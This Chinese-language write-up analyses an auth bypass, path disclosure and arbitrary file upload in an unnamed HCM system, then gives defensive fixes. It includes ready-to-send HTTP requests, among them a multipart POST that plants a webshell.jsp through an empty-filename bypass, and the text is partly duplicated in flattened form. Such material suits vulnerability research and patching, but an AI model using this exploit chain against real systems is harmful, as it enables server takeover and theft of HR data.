某HCM系统文件上传分析
字数 1486 2025-08-29 22:41:24

HCM系统文件上传漏洞分析与利用教学文档

漏洞概述

本漏洞存在于某HCM系统中,通过三个关键步骤实现任意文件上传:

  1. 获取有效会话Cookie
  2. 获取系统物理路径
  3. 利用文件上传接口绕过安全限制上传任意文件

漏洞详细分析

1. 获取有效会话Cookie

接口路径/hrm/web/pub/qrcodeLogin.jsp

漏洞原理

  • 该JSP文件实例化了一个用户名为"二维码进入"的userView对象
  • 设置session的islogon属性为true,使会话生效
  • 直接访问该接口即可获得一个已登录状态的Cookie

关键代码

// 实例化userView
userView.setSomeProperties();
session.setAttribute("islogon", true);  // 关键点:强制设置登录状态

2. 获取系统物理路径

接口路径/hrm/uploadLogo.do

漏洞原理

  • 系统使用Struts框架,在配置文件中映射到特定JSP
  • JSP中定义了projectpath参数,其值为getProjectPath()
  • 该方法返回系统images目录的物理路径
  • 路径使用SafeCode.encode进行编码

编码规则分析

  1. ASCII值>255的字符:
    • 用0填充到4位
    • 前面添加"^"
  2. '0'-'9'、'A'-'Z'、'a'-'z'之外的常见字符:
    • ASCII编码,用0填充到2位
    • 前面添加"~"
  3. 数字和字母不进行编码

3. 文件上传漏洞

接口路径/hrm/uploadLogo.do?b_upload=1

上传流程

  1. 获取type参数(可选)
  2. 从请求体中获取三个上传文件字段:logofiletwoFileoneFile
  3. 获取path参数并使用SafeCode.decode解码
  4. 调用uploadFile方法上传文件

安全限制与绕过

  • 正常情况下有四个校验:

    1. 文件名不允许包含~/../
    2. 文件后缀不能为空
    3. 文件内容与后缀匹配校验(通过文件头检查)
    4. 后缀名白名单检查
  • 绕过方法:

    • filename为空时,直接使用path参数作为完整路径
    • 全局文件上传校验Servlet只检查filename不为空的请求
    • 因此在path中拼接文件名并置空filename可绕过所有检查

文件路径构造

  • 使用File类的第三个构造方法:File(String path, String filename)
  • filename为空时,直接使用path作为完整路径
  • 可在path中拼接任意文件名和路径

漏洞利用步骤

1. 获取有效Cookie

GET /hrm/web/pub/qrcodeLogin.jsp HTTP/1.1
Host: target.com

响应中会返回有效的会话Cookie。

2. 获取系统物理路径

GET /hrm/uploadLogo.do HTTP/1.1
Host: target.com
Cookie: [获取的Cookie]

响应中包含编码后的物理路径,需要使用SafeCode.decode解码。

3. 上传任意文件

POST /hrm/uploadLogo.do?b_upload=1 HTTP/1.1
Host: target.com
Cookie: [获取的Cookie]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="path"

[解码后的物理路径]~5cwebshell.jsp
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: application/octet-stream

[webshell内容]
------WebKitFormBoundaryABC123--

关键点

  • filename必须为空
  • path参数包含完整路径和文件名
  • 路径分隔符使用编码形式(如~5c代表\

防御建议

  1. 修复qrcodeLogin.jsp的会话认证逻辑
  2. 文件上传接口增加对filename为空的检查
  3. path参数进行严格过滤,禁止包含文件名
  4. 统一文件上传校验逻辑,无论filename是否为空都进行检查
  5. 限制上传目录为特定非可执行目录
  6. 实施文件内容校验而不仅依赖后缀名检查

附录:SafeCode编解码参考

编码规则

  • ^前缀:ASCII>255的字符,填充到4位
  • ~前缀:特殊字符的ASCII码,填充到2位
  • 数字字母:不编码

示例

  • \~5c
  • /~2f
  • 非ASCII字符:^xxxx格式

通过理解这些关键点,安全研究人员可以复现该漏洞,而开发人员则可以针对性地修复这些安全问题。

HCM系统文件上传漏洞分析与利用教学文档 漏洞概述 本漏洞存在于某HCM系统中,通过三个关键步骤实现任意文件上传: 获取有效会话Cookie 获取系统物理路径 利用文件上传接口绕过安全限制上传任意文件 漏洞详细分析 1. 获取有效会话Cookie 接口路径 : /hrm/web/pub/qrcodeLogin.jsp 漏洞原理 : 该JSP文件实例化了一个用户名为"二维码进入"的userView对象 设置session的islogon属性为true,使会话生效 直接访问该接口即可获得一个已登录状态的Cookie 关键代码 : 2. 获取系统物理路径 接口路径 : /hrm/uploadLogo.do 漏洞原理 : 系统使用Struts框架,在配置文件中映射到特定JSP JSP中定义了 projectpath 参数,其值为 getProjectPath() 该方法返回系统images目录的物理路径 路径使用 SafeCode.encode 进行编码 编码规则分析 : ASCII值>255的字符: 用0填充到4位 前面添加"^" '0'-'9'、'A'-'Z'、'a'-'z'之外的常见字符: ASCII编码,用0填充到2位 前面添加"~" 数字和字母不进行编码 3. 文件上传漏洞 接口路径 : /hrm/uploadLogo.do?b_upload=1 上传流程 : 获取type参数(可选) 从请求体中获取三个上传文件字段: logofile 、 twoFile 、 oneFile 获取path参数并使用 SafeCode.decode 解码 调用 uploadFile 方法上传文件 安全限制与绕过 : 正常情况下有四个校验: 文件名不允许包含 ~/ 和 ../ 文件后缀不能为空 文件内容与后缀匹配校验(通过文件头检查) 后缀名白名单检查 绕过方法: 当 filename 为空时,直接使用 path 参数作为完整路径 全局文件上传校验Servlet只检查 filename 不为空的请求 因此在 path 中拼接文件名并置空 filename 可绕过所有检查 文件路径构造 : 使用 File 类的第三个构造方法: File(String path, String filename) 当 filename 为空时,直接使用 path 作为完整路径 可在 path 中拼接任意文件名和路径 漏洞利用步骤 1. 获取有效Cookie 响应中会返回有效的会话Cookie。 2. 获取系统物理路径 响应中包含编码后的物理路径,需要使用 SafeCode.decode 解码。 3. 上传任意文件 关键点 : filename 必须为空 path 参数包含完整路径和文件名 路径分隔符使用编码形式(如 ~5c 代表 \ ) 防御建议 修复 qrcodeLogin.jsp 的会话认证逻辑 文件上传接口增加对 filename 为空的检查 对 path 参数进行严格过滤,禁止包含文件名 统一文件上传校验逻辑,无论 filename 是否为空都进行检查 限制上传目录为特定非可执行目录 实施文件内容校验而不仅依赖后缀名检查 附录:SafeCode编解码参考 编码规则 ^ 前缀:ASCII>255的字符,填充到4位 ~ 前缀:特殊字符的ASCII码,填充到2位 数字字母:不编码 示例 \ → ~5c / → ~2f 非ASCII字符: ^xxxx 格式 通过理解这些关键点,安全研究人员可以复现该漏洞,而开发人员则可以针对性地修复这些安全问题。